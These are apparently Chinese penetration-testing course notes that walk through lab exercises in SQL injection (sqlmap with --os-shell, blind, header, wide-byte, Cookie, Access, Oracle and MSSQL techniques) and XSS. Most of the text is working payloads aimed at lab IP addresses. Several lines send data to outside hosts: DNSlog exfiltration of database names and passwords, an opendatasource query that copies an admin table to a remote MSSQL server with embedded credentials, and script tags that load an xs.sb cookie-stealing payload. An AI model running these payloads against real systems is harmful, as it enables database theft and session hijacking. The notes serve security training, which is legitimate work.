Sqlmap 是用的最为广泛的自动化检测、利用SQL注入的渗透测试工具,支持多种数据库。

下载地址

-u 指定注入点
--dbs 跑库名
--tables 跑表名
--columns 跑字段名
--dump 枚举数据
-D 指定库 -T 指定表 -C 指定字段

判读是否有注入
sqlmap -u \'http://59.63.200.79:8003/?id=1\'
所有库名
sqlmap -u \'http://59.63.200.79:8003/?id=1\' --dbs
获取maoshe库的表
sqlmap -u \'http://59.63.200.79:8003/?id=1\' -D maoshe --tables
获取admin表的字段名
sqlmap -u \'http://59.63.200.79:8003/?id=1\' -D maoshe -T admin --columns
遍历admin的password数据
sqlmap -u \'http://59.63.200.79:8003/?id=1\' -D maoshe -T admin -C password --dump
遍历admin表的所有数据
sqlmap -u \'http://59.63.200.79:8003/?id=1\' -D maoshe -T admin --dump

image-20201012184636754

sqlmap指令手册

常见指令:
--random-agent 选择随机user-agents头
--delay=1 每次探测延时1秒(防止访问过快被ban)
--count 查看数据量
--proxy "http://127.0.0.1:1080" 使用本地1080端口
--level 1-5 测试等级(最低1,最高5) level等级越高检测越详细,例如 level大于2会检测cookie注入,大于3会检测头注入
--is-dba 查询当前用户权限,如果DBA是True可以尝试直接拿webshell

sqlmap -u \'http://shop.aqlab.cn:8001/single.php?id=1\' --is-dba

2
--os-shell尝试往网站中放入一个cmdshell(就是拥有cmd权限的shell),先选择写入shell的脚本语言

sqlmap -u \'http://shop.aqlab.cn:8001/single.php?id=1\' --os-shell

image-20201012185339341

有的需要填写网站的web目录的绝对路径,有的可以直接选择好shell的脚本语言类型就可以直接拿shell

image-20201012164239050

3.Burpsuite工具的基础使用

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

我们先进行安装把工具装好,如果遇到破解问题可以看我的帖子
https://www.zkaq.org/t/2178.html

4.浏览器插件的安装

插件可以帮助我们更好的对浏览器进行操作,例如Proxy SwitchySharp插件可以帮助我快速的使用代理

安装浏览器插件的文章地址:https://www.zkaq.org/t/3683.html

image-20201012211909722

4-3POST注入HEAD头注入

一、POST注入介绍

POST\GET两种传参方式

GET传参的数据有限,比较少,会经过URL编码
POST传参的数据可以比较大,可以上传文件,不会经过URL编码

POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别

POST注入高危点:
登录框
查询框
等各种和数据库有交互的框

最经典的POST注入莫过于万能密码

\'or 1=1#

image-20201013224831700

二、POST注入靶场的做法

POST注入(一)

select *from user where username =\'\' and password=\'\'

\'or 1=1#

POST注入(二)

select *from user where username =("") and password=("")

") or 1=1 #

Sqlmap如何对POST类型SQL注入进行注入

--forms sqlmap去读取页面中POST传参的表单的传参名然后进行SQL注入

-level 测试等级

sqlmap -u \'http://inject2.lab.aqlab.cn:81/Pass-06/index.php\' --forms --level 3

image-20201013233222400

-r 1.txt sqlmap读取数据包文件进行SQL注入,注入处可以打一个*号告诉Sqlmap测试那个点

sqlmap -r 1.txt  --level 3

image-20201013233738600三、Head注入介绍

PHP 全局变量 - 超全局变量

PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。

这些超全局变量是:

$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST  (获取POST传参)
$_GET  (获取GET的传参)
$_COOKIE   (获取COOKIE的值)
$_SERVER  (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
常用的:
$_SERVER[\'HTTP_REFERER\']  获取Referer请求头数据
$_SERVER["HTTP_USER_AGENT"]  获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER["REMOTE_ADDR"]  浏览网页的用户ip。

updatexml()

updatexml() 更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

但是报错的时候他其实已经执行了那个子查询代码!

[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错]

image-20201013225057531

updatexml () 这个函数一般是配合and 或者是or 使用的,他和联合查询不同,不需要在意什么字段数

eg:
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

但是要注意,and 情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or

某些没有回显盲注也可以用这个updatexml()做出来。

但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()。

[个人经验:有些盲注也可以试试看报错注入,因为有的时候报错注入的致命错误会显示出来,数据库只忽略普通报错]

X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。[透明代理]

当今多数缓存服务器的用户为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网。那么为了获取你的真实IP就要用到X-Forwarded-For了。

边上这段Getip函数是被很多网站和CMS广泛使用的,是属于一个模板,其实就是为了获取你的真实ip,在有代理的情况下,你会发送另外一些请求头来说明你的ip是啥,其中X-Forwarded-For就是其中一种请求头字段。

那么这个getip这里面很明显没有任何过滤,如果被传入的数据被拼接进SQL语句就会发生SQL注入

image-20201013225132467

四、HEAD注入靶场的做法

前1-6题由于对输入的字符串没有安全检查可以直接 \' 方式SQL注入

第7-9题对 ’ 进行过滤,所以只能在请求头中写入注入语句,

image-20201013234939679

$username = $_POST[\'username\'];
$password = $_POST[\'password\'];
$uagent = $_SERVER[\'HTTP_USER_AGENT\'];
$jc = $username.$password;
$sql = \'select *from user where username =\\'\'.$username.\'\\' and password=\\'\'.$password.\'\\'\';
if(preg_match(\'/.*\\'.*/\',$jc)!== 0){die(\'为了网站安全性,禁止输入某些特定符号\');}
mysqli_select_db($conn,\'****\');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row[\'username\'];
$passwd = $row[\'password\'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES (\'$uagent\',\'$uname\')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo \'成功登录\';

第7题中uagent存入数据库中,把注入语句写到uagent中,就能将我们写的语句执行,由于只有登陆成功才会执行,所有POST里要填正确的账户和密码。由于只有出错,才print_r(mysqli_error($conn));通过此处输出数据库信息。利用updatexml()函数报错。

爆破过程

iShot2020-10-14 00.22.06

第7题是在User-Agent注入

第8题在Referer注入

第9题是将IP放入数据库,可以注入到X-Forwarded-For: 中

4-4盲注

一、盲注介绍

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

布尔盲注
只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息
时间盲注
界面返回值只有一种,true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

二、盲注需要掌握的几个函数

length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);)

ascii() 返回字符的ascii码 [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

三、盲注靶场的做法

猜解当前数据库名称长度:

id=1\' and (length(database()))>9#

利用ASCII码猜解当前数据库名称:

and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s

and (ascii(substr(database(),2,1)))=101--+ 返回正常,说明数据库名称第二位是e

猜表名:

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e

猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name=\'zkaq\' limit 0,1),1,1)))=102--+ 返回正常,说明zkaq表中的列名称第一位是f

猜内容

and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,说明zKaQ列第一位是z

四、延时注入(时间注入)靶场做法

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

4-5宽字节注入

一、魔术引号是什么?

我们现在要了解一个PHP的防御函数

magic_quotes_gpc(魔术引号开关)

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符\'\',来做一定的过滤

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

二、什么GBK编码格式

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)

我们就以gbk字符编码为例,拉开帷幕。GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。

例如:0xD50×5C 对应了汉字“誠”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“誠”。

三、宽字节SQL注入的原理

​ 前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和渗透测试发送了“巧遇”呢?

​ 宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入

例如说MySql的编码设置为了SET NAMES \'gbk\'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。

宽字节SQL注入就是PHP发送请求到MySql时使用了语句
SET NAMES \'gbk\' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

上一个讲到了宽字节SQL注入的根本原因是

宽字节注入就是PHP发送请求到MySql时使用了语句
SET NAMES \'gbk\' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符\'\',来做一定的过滤

为了绕过magic_quotes_gpc的,于是乎我们开始导入宽字节的概念

我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c

SELECT * FROM users WHERE id=\'1\'\' LIMIT 0,1

这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功的让!。

SELECT * FROM users WHERE id=\'1�\'#\' LIMIT 0,1

�\ 实际上就是那个運字

四、宽字节SQL注入的靶场演示

第15题

image-20201014184308671

也可以

image-20201014185220678

第16题与15题类似,区别是("")

image-20201014190028820

17题可以这样做

image-20201014190421585

5-1Access注入 — Cookie注入

一、Cookie注入简介

什么是Cookie?
Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。

为什么Cookie和注入擦出了爱情的火花?(原理部分)
在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)
很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法
例如:
php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参

注:php 5.4以上版本就不会接受Cookie传参了。
如果说开发用了$_REQUEST[]来接受参数?然后我们的POST和GET传参被Waf拦截了怎么办?
那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行传参,然后不就可以绕过检测机制!!

二、怎么修改Cookie

方法一:

抓取数据包直接修改数据包的值,添加一个Cookie字段在请求头里面
image-20201015210708488

image-20201015210713350

方法二:用Javascript来设置Cookie
我们可以尝试使用Javascript来设置Cookie
我们先按F12调出浏览器的开发者工具

image-20201015210727804

我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了
document.cookie="id="+escape("171")

通过浏览器Document.cookie来设置Cookie

Cookie名字为 id escape是一个编码函数,这个函数会进行一次URL编码

三、Cookie注入靶场讲解

最简单的联合查询,因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破

账号密码一般在盛行Access数据库的年代,都在admin表的username和password字段中

注意点: Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。

如果不知道库名怎么办?
就一个库,没必要知道

如果不知道表名怎么办?
只能靠爆破了,and exists (select*from 表名) 如果页面正常,就是存在这个表
exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True

如果不知道字段怎么办?
下节课我们将教你偏移注入,来应对不知道字段名的情况

SQLmap如何跑Cookie注入
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

5-2 Access注入-偏移注入

一、偏移注入使用场景

在SQL注入的时候会遇到一些无法查询列名的问题,比如无权限或者对方是Access数据库(没有information_schema库)

当你猜到表名无法猜到字段名的情况下,可以用Sqlmap爆破字段名称,或者使用偏移注入

二、偏移注入步骤

1.判断注入点

2.order by 判断字段数

3.判断表名

4.联合查询

5.获取表中列数(知道存在几列以及输出点)

6.开始偏移注入

三、偏移注入靶场讲解

1.靶场因为有一定的过滤,所以我们需要用COOKIE注入来进行注入

2.靶场是Access数据库,他默认没有系统自带表,所以我们只能通过猜来获取库名和表名

3.你看到的输出不一定是完整的输出,也许在源码里面会有更多的输出

1

http://59.63.200.79:8004/shownews.asp
171 order by 10 页面正常
171 order by 11 页面异常

说明有shownews.asp页面查询的库有10个字段

2

171 union select 1,2,3,4,5,6,7,8,9,10 from admin(由于union要求两个结果的字段数相同,这里需要select 10个,由于想知道一条结果第几个能够被显示,为了方便就10个字段依次是1,2,3,4)

image-20201021110420721

说明一条结果中的第2,3,7,8,9字段会被回显

3

171 union select 1,2,3,4,5,6,7,8,9,admin.* from admin 页面异常(如果正常说明admin有1个字段)

171 union select 1,2,3,4,5,6,7,8,admin.* from admin 页面异常(如果正常说明admin有2个字段)

一直到

171 union select admin.* from admin 页面异常(如果正常说明admin有10个字段)

说明admin最少有10个字段

这个页面查询的数据库有10个字段,但是admin表至少有10个,所有要换一个页面重新测试

4

http://59.63.200.79:8004/ProductShow.asp

105 order by 26 页面正常
105 order by 27 页面不正常
说明有ProductShow.asp页面查询的库有26个字段

5

105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin

image-20201021103055873

说明ProductShow.asp查询的数据库的一条结果中的第3,5,7,25字段会被回显,其中25在图片的地址中

6

105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin 页面正常
105 union select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin 页面异常
说明admin表有16个字段,因为10+16=26刚好等于ProductShow.asp查询表的字段数

7

105 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin
让25位置显示admin最后一个字段

image-20201021103818272

5-3 MySQL注入 — Dns 注入

一、DNSLOG的函数解析

LOAD_FILE() 读取文件的函数

读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

image-20201021134056557

这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=

UNC路径

\\zkaq.sq8o3d.ceye.io\abc 访问zkaq.0cv5gr.ceye.io下的abc共享文件夹

select load_file(concat(\'//\',(select database()),\'.v8bfoy.dnslog.cn/abc\'))

数据库去访问“库名.v8bfoy.dnslog.cn”的服务器下的共享文件夹abc

然后“库名.v8bfoy.dnslog.cn”的域名的解析会在v8bfoy.dnslog.cn服务器下进行,v8bfoy.dnslog.cn会有域名解析记录,从解析记录里就可以得到库名

http://dnslog.cn/ 免费的dnslog平台 不用注册 不用登陆 不采集任何信息

image-20201021134344879

点击Get SubDomain 给你一个二级域名让你使用
点击Refresh Record 查看给你的那个二级域名的DNS解析情况

二、DNSLOG的使用场景

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

三、DNSLOG靶场讲解

1.

http://59.63.200.79:8014/index3.php?id=1 and sleep(10)

对php传参会被拦截

image-20201021143901404

2.

可以换成对1.txr传参,由于找不到,就会找index3.php

http://59.63.200.79:8014/index3.php/1.txt?id=1 and sleep(10)

延迟打开,说明存在注入

3.

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load_file(concat(\'//\',(select database()),\'.v8bfoy.dnslog.cn/abc\'))

获取当前数据库的名字为mangzhu

image-20201021140202653

4.

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load_file(concat(\'//\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),\'.v8bfoy.dnslog.cn/abc\'))

获取当前mangzhu库的表

5.

http://59.63.200.79:8014/index3.php/1.txt
?id=1 and load_file(concat(\'//\',(select column_name from information_schema.columns where table_name=\'admin\' limit 0,1),\'.v8bfoy.dnslog.cn/abc\'))

获取当前admin表的字段名

6.

http://59.63.200.79:8014/index3.php/1.txt
?id=1 and load_file(concat(\'//\',(select password from admin limit 0,1),\'a.v8bfoy.dnslog.cn/abc\'))

获取admin表的password字段

5-4 MSSQL注入 — 反弹注入

一、MSSQL反弹注入使用场景

明明是SQL的注射点却无法进行注射注射工具猜解的速度异常缓慢,
错误提示信息关闭,无法返回注射结果等,这些都是在注射攻击中常常遇到的问题。为了解决以上这些疑难杂症,比较好的解决方法就是使用反弹注射技术,而反弹注射技术则需要依靠 opendatasource函数支持

二、快速搭建一个MSSQL环境(骚姿势)

香港云http://www.webweb.com/

免费在线数据库https://my.gearhost.com/CloudSite

数据库操作http://mssqlus.webweb.com/

三、MSSQL反弹注入语句解析

insert into

插入语句

opendatasource(\'sqloledb\',\'server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq\').DB_14A5E44_zkaq.dbo.temp

服务器.库.表 opendatasource(\'sqloledb\',\'\').库.dbo.表

select*from admin --+

admin里的所有数据

四、MSSQL反弹注入靶场分析

1尝试

http://59.63.200.79:8015/?id=1 and 1=1

image-20201021212521446

从报错可以看出需要闭合单引号,后面注释

2.判断注入点

http://59.63.200.79:8015/?id=1\' and 1=1--+ 页面正常

http://59.63.200.79:8015/?id=1\' and 1=2--+ 页面异常

说明存在注入点

3.判断字段数

http://59.63.200.79:8015/?id=1\' order by 3--+页面正常

http://59.63.200.79:8015/?id=1\' order by 4--+页面异常

说明有3个字段

4.看回显点

http://59.63.200.79:8015/?id=1\' union all select 4,\'a\',\'b\'--+

猜输出点要使用NULL去填充

注释只有 --+ (不要想着#)

image-20201021213015337

可以查看回显点

5.查询表

查看用户创建的表

select*from sysobjects where xtype=\'U\';

image-20201021213835957

http://59.63.200.79:8015/?id=1\' union all select id, name ,null from sysobjects where xtype=\'U\'--+

image-20201021214821520

6.查询admin的字段

查看abc表的字段

select*from syscolumns where id=885578193;

image-20201021214632983

http://59.63.200.79:8015/?id=1\' union all select null,name,null from syscolumns where id=1977058079 --+

image-20201021215215611

7.查询admin的数据

http://59.63.200.79:8015/?id=1\' union all select id,passwd,token from admin --+

image-20201021215257170

8.其他反弹注入

http://59.63.200.79:8015/?id=1\';select*from syscolumns where id=1waitfor delay \'0:0:5\'--+

http://59.63.200.79:8015/?id=1\';insert into opendatasource(\'sqloledb\',\'server=den1.mssql7.gear.host,1433;uid=xcsxchen;pwd=Bu18PX8IY5-?;database=xcsxchen\').xcsxchen.dbo.temp select * from admin --+

image-20201021231102131

5-5 Oracle注入 — 报错注入

一、注入函数解析

Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个X,列名为DUMMY
那么要它有什么用妮?
它实际上是为了满足查询语句的结构而产生
比如你想查询你的用户名 select user from Dual
调用系统函数:(获得随机值:select dbms_random.random from dual)
还能做加减法:select 9+1 from dual
………………
还有各种功能自己去挖掘吧

select*from all_tables 查询出所有的表
select*from user_tables 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns  查询出当前用户的字段
select*from v$version 查版本
rownum=1   (限制查询返回的总行数为一条)

对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据

and 字段名<>字段值 (一个条件,查询时排除符合条件的数据 当字段名中字段值符合数据就排除符合这个条件的数据)

eg: and TABLE_NAME<>\'DUAL\'
查询时符合table_name字段中值为DUAL的整条数据都会被排除

二、报错注入+联合查询(union all)

http://59.63.200.79:8808/index_x.php

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- 查询数据库版本

扩展:
https://www.freebuf.com/column/174974.html(注入总结文章)

三、靶场演示

1.判断注入点

http://59.63.200.79:8808/?id=1 and 1=1 页面正常

http://59.63.200.79:8808/?id=1 and 1=2 页面异常

2.判断字段数

http://59.63.200.79:8808/?id=1 order by 4

http://59.63.200.79:8808/?id=1 order by 5 页面异常

有5个字段

3.看回显点

http://59.63.200.79:8808/?id=1 union all select null,null,null,null from dual

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(\'a\'),to_nchar(\'b\'),0 from dual

image-20201022004525386

字符串需要转换成to_nchar类型,ORACEL要求数据类型正确这里需要不断尝试数据类型

4.查看当前的表

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables

NEWS

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\'

ADMIN

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\' and TABLE_NAME<>\'ADMIN\'

MD5

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(TABLE_NAME),to_nchar(\'b\'),0 from user_tables where TABLE_NAME<>\'NEWS\' and TABLE_NAME<>\'ADMIN\' and TABLE_NAME<>\'MD5\'

没有找到对应数据

ORACEL查询表用 select TABLE_NAME from user_tables

由于ORACLE没有limit,实现单个输出可以用 <>上次出现 或者rownum r方法

5.查询admin表的字段

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=1

ID

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=2

UNAME

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=3

UPASS

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(COLUMN_NAME),to_nchar(\'b\'),0 from(select rownum r,COLUMN_NAME from user_tab_columns where table_name=\'ADMIN\') where r=4

没有找到对应数据

6.查看admin表UPASS字段第3条

http://59.63.200.79:8808/?id=3 union all select 2,to_nchar(UPASS),to_nchar(\'b\'),0 from(select rownum r,UPASS from admin) where r=3

2a61f8bcfe7535eadcfa69eb4406ceb9

7.报错注入方法

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --+

image-20201022011302583

image-20201022011322456

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select rownum r,UPASS from admin) where r=3))

image-20201022012005157

报错注入优点相对于上一种,不用猜测类型和进行类型转化,不用判断回显位置

6-1 XSS的原理分析与解剖

一、XSS的原理和特性

什么是XSS?

XSS我个人的理解是HTML代码注入。注入攻击的本质,是把用户输入的数据当做代码执行。SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句

xss能做什么:

盗取Cookie(用的最频繁的)
获取内网ip
获取浏览器保存的明文密码
截取网页屏幕
网页上的键盘记录

XSS平台:
xsspt.com
xss9.com
xs.sb

(XSS平台大大方便了XSS攻击,只需要引入一个平台外部链接就可以了实现功能了)

xss类型:
反射型XSS (你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击)
存储型XSS (你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发)
DOM型XSS

三种触发方法:

标签触发:<script>alert(666666)</script>弹窗是用来证明是否存在xss,就是直接打攻击代码窃取Cookie

伪协议:需要点击触发 <a href="Javascript:alert(6543785)">abc

事件触发:满足某种条件自动触发
<img src="#" onerror=alert(1158)//>

上述可以在http://59.63.200.79:8004/FeedbackView.asp中留言板块试验

XSS平台配置窃取Cookie

注册登录xs.sb,创建项目

image-20201023192933409

复制生成极限代码到http://59.63.200.79:8002/d/index.asp?T=reg 的用户昵称,完成注册

在xs.sb中就可以看到吃到cookie

image-20201023194014815

二、反射性XSS靶场演示

http://59.63.200.79:8002/xss/index.php

\' oninput=alert(1)//

\' onfocus=alert(1) autofocus//

image-20201023201928022

image-20201023202404836

使用单引号而不是双引号原因,查看靶场源码

image-20201023203434257

如果php代码中value=后面没有单双引号

image-20201023203959083

搜索框中既可以用单引号也可以用双引号

image-20201023204057510

如果value=后面用htmlspecialchars包裹,输入双引号会被转移,只能用单引号闭合

image-20201023204229672

如果加入ENT_QUOTES参数,单双引号都不能闭合

image-20201023204337410

6-2 存储型XSS

一、存储型XSS挖掘

存储型XSS会出现在什么地方?
任何可能插入数据库的地方
比如:用户注册的时候
留言板
上传文件的文件名
(管理员可见的)报错信息
……

二、存储型XSS靶场演示

此漏洞介绍

http://59.63.200.79:8082/index.php?c=mail&m=<sCRiPt sRC=//xs.sb/DEr5></sCrIpT>

在index.php后加入c=mail&m=再加入<sCRiPt sRC=//xs.sb/DEr5></sCrIpT>

在Xss平台就能看到吃到的Cookie,含有flag

image-20201023213541743

6-3 Dom Based XSS

一、什么是Dom Based XSS

​ DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。

image-20201023213901284

二、Dom Based XSS

每个载入浏览器的 HTML 文档都会成为 Document 对象。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

Document 对象属性

image-20201023213920459

image-20201023213935782

转码地址:http://tool.oschina.net/encode?type=3

document.lastModified 可用于查看是否为动态网页

JS触发的Xss就是Dom型xSS

Document.write()输出内容

<script>
    var pos=document.URL.indexOf("name=")+5;
    var username=unescape(document.URL.substring(pos,document.URL.length));
    var r=\'<b>\'+username+\'</b>\';
    document.write(r);
</script>

http://10.211.55.3/1.htmll?name=<script>alert(1)</script>

innerHTML()改变内容

<div id=\'zkaq\'>1</div>
<input type="button" onclick=fun() value="点击有惊喜">
<script>
    function fun(){
        var url=unescape(document.URL);
        var pos=url.indexOf("name=")+5;
        document.getElementById("zkaq").innerHTML="Hi,<b>"+url.substring(pos,url.length)+"</b>";
    }
</script>

http://10.211.55.3/2.html?name=<img src=# onerror=alert(1)>

这里触发不能用script

iShot2020-10-24 00.24.55

eval()代码执行

</h1>Hello World</h1>
<script>
    var a=location.hash.substr(1);
    eval(a);
</script>

http://10.211.55.3/3.html#alert(1)

location.hashURL标识中的 \'#\' 和 后面URL片段标识符

三、DOM型XSS靶场演示

1.index.php/1.txt方法绕过

http://59.63.200.79:8014/dom_xss/?<script>alert(1)</script>

image-20201024004544441

http://59.63.200.79:8014/dom_xss/index.php/1.txt?<script>alert(1)</script>

image-20201024004655913

发现发现需要闭合前面的<script>

image-20201024004717671

前面加</script>就可以正成功弹窗

http://59.63.200.79:8014/dom_xss/index.php/1.txt?</script><script>alert(1)</script>

2.Native编码绕过

<script>alert(1)</script>转换成Native编码

http://59.63.200.79:8014/dom_xss?\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

3.通过提交意见让管理员点击

</sCrIpT><sCRiPt sRC=//xs.sb/DEr5></sCrIpT>转换成Native编码

